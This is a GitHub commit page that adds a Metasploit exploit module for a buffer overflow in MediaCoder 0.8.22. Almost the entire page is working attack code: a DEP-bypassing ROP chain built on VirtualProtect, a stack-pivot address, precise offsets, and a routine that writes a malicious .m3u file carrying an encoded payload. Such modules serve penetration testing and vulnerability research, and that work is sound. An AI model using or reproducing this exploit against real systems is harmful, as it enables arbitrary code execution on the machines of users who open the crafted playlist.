Skip to content

Commit 529471e

Browse files
committed
Land rapid7#2081 - MediaCoder .M3U Buffer Overflow
2 parents d9f2123 + 1341d6e commit 529471e

File tree

1 file changed

+123
-0
lines changed

1 file changed

+123
-0
lines changed
Lines changed: 123 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,123 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# web site for more information on licensing and terms of use.
5+
# http://metasploit.com/
6+
##
7+
8+
require 'msf/core'
9+
10+
class Metasploit3 < Msf::Exploit::Remote
11+
Rank = NormalRanking
12+
13+
include Msf::Exploit::FILEFORMAT
14+
15+
def initialize(info = {})
16+
super(update_info(info,
17+
'Name' => 'MediaCoder .M3U Buffer Overflow',
18+
'Description' => %q{
19+
This module exploits a buffer overflow in MediaCoder 0.8.22. The vulnerability
20+
occurs when adding an .m3u, allowing arbitrary code execution under the context
21+
of the user. DEP bypass via ROP is supported on Windows 7, since the MediaCoder
22+
runs with DEP. This module has been tested successfully on MediaCoder 0.8.21.5539
23+
to 0.8.22.5530 over Windows XP SP3 and Windows 7 SP0.
24+
},
25+
'License' => MSF_LICENSE,
26+
'Author' =>
27+
[
28+
'metacom', # Vulnerability discovery and PoC
29+
'modpr0be <modpr0be[at]spentera.com>', # Metasploit module
30+
'otoy <otoy[at]spentera.com>' # Metasploit module
31+
],
32+
'References' =>
33+
[
34+
[ 'OSVDB', '94522' ],
35+
[ 'EDB', '26403' ]
36+
],
37+
'DefaultOptions' =>
38+
{
39+
'EXITFUNC' => 'seh'
40+
},
41+
'Platform' => 'win',
42+
'Payload' =>
43+
{
44+
'Space' => 1200,
45+
'BadChars' => "\x00\x5c\x40\x0d\x0a",
46+
'DisableNops' => true,
47+
'StackAdjustment' => -3500
48+
},
49+
'Targets' =>
50+
[
51+
[ 'MediaCoder 0.8.21 - 0.8.22 / Windows XP SP3 / Windows 7 SP0',
52+
{
53+
# stack pivot (add esp,7ac;pop pop pop pop ret from postproc-52.dll)
54+
'Ret' => 0x6afd4435,
55+
'Offset' => 849,
56+
'Max' => 5000
57+
}
58+
],
59+
],
60+
'Privileged' => false,
61+
'DisclosureDate' => 'Jun 24 2013',
62+
'DefaultTarget' => 0))
63+
64+
register_options(
65+
[
66+
OptString.new('FILENAME', [ false, 'The file name.', 'msf.m3u'])
67+
], self.class)
68+
69+
end
70+
71+
def junk(n=1)
72+
return [rand_text_alpha(4).unpack("L")[0]] * n
73+
end
74+
75+
def nops(rop=false, n=1)
76+
return rop ? [0x6ab16202] * n : [0x90909090] * n
77+
end
78+
79+
def exploit
80+
# fixed rop from mona.py :)
81+
rop_gadgets =
82+
[
83+
nops(true,35), # ROP NOP
84+
0x100482ff, # POP EAX # POP EBP # RETN [jpeg.dll]
85+
0xffffffc0, # negate will become 0x00000040
86+
junk,
87+
0x66d9d9ba, # NEG EAX # RETN [avutil-52.dll]
88+
0x6ab2241d, # XCHG EAX,EDX # ADD ESP,2C # POP EBP # POP EDI # POP ESI # POP EBX # RETN [swscale-2.dll]
89+
junk(15), # reserve more junk for add esp,2c
90+
0x1004cc03, # POP ECX # RETN [jpeg.dll]
91+
0x6ab561b0, # ptr to &VirtualProtect() [IAT swscale-2.dll]
92+
0x66d9feee, # MOV EAX,DWORD PTR DS:[ECX] # RETN [avutil-52.dll]
93+
0x6ab19780, # XCHG EAX,ESI # RETN [swscale-2.dll]
94+
0x66d929f5, # POP EAX # POP EBX # RETN [jpeg.dll]
95+
0xfffffcc0, # negate will become 0x0000033f
96+
junk,
97+
0x6ab3c65a, # NEG EAX # RETN [postproc-52.dll]
98+
0x1004cc03, # POP ECX # RETN [jpeg.dll]
99+
0xffffffff, #
100+
0x660166e9, # INC ECX # SUB AL,0EB # RETN [libiconv-2.dll]
101+
0x66d8ae48, # XCHG ECX,EBX # RETN [avutil-52.dll]
102+
0x1005f6e4, # ADD EBX,EAX # OR EAX,3000000 # RETN [jpeg.dll]
103+
0x6ab3d688, # POP ECX # RETN [jpeg.dll]
104+
0x6ab4ead0, # Writable address [avutil-52.dll]
105+
0x100444e3, # POP EDI # RETN [swscale-2.dll]
106+
nops(true), # ROP NOP [swscale-2.dll]
107+
0x100482ff, # POP EAX # POP EBP # RETN [jpeg.dll]
108+
nops, # Regular NOPs
109+
0x6ab01c06, # PUSH ESP# RETN [swscale-2.dll]
110+
0x6ab28dda, # PUSHAD # RETN [swscale-2.dll]
111+
].flatten.pack("V*")
112+
113+
sploit = "http://"
114+
sploit << rand_text(target['Offset'])
115+
sploit << [target.ret].pack('V')
116+
sploit << rop_gadgets
117+
sploit << make_nops(16)
118+
sploit << payload.encoded
119+
sploit << rand_text(target['Max']-sploit.length)
120+
121+
file_create(sploit)
122+
end
123+
end

0 commit comments

Comments
 (0)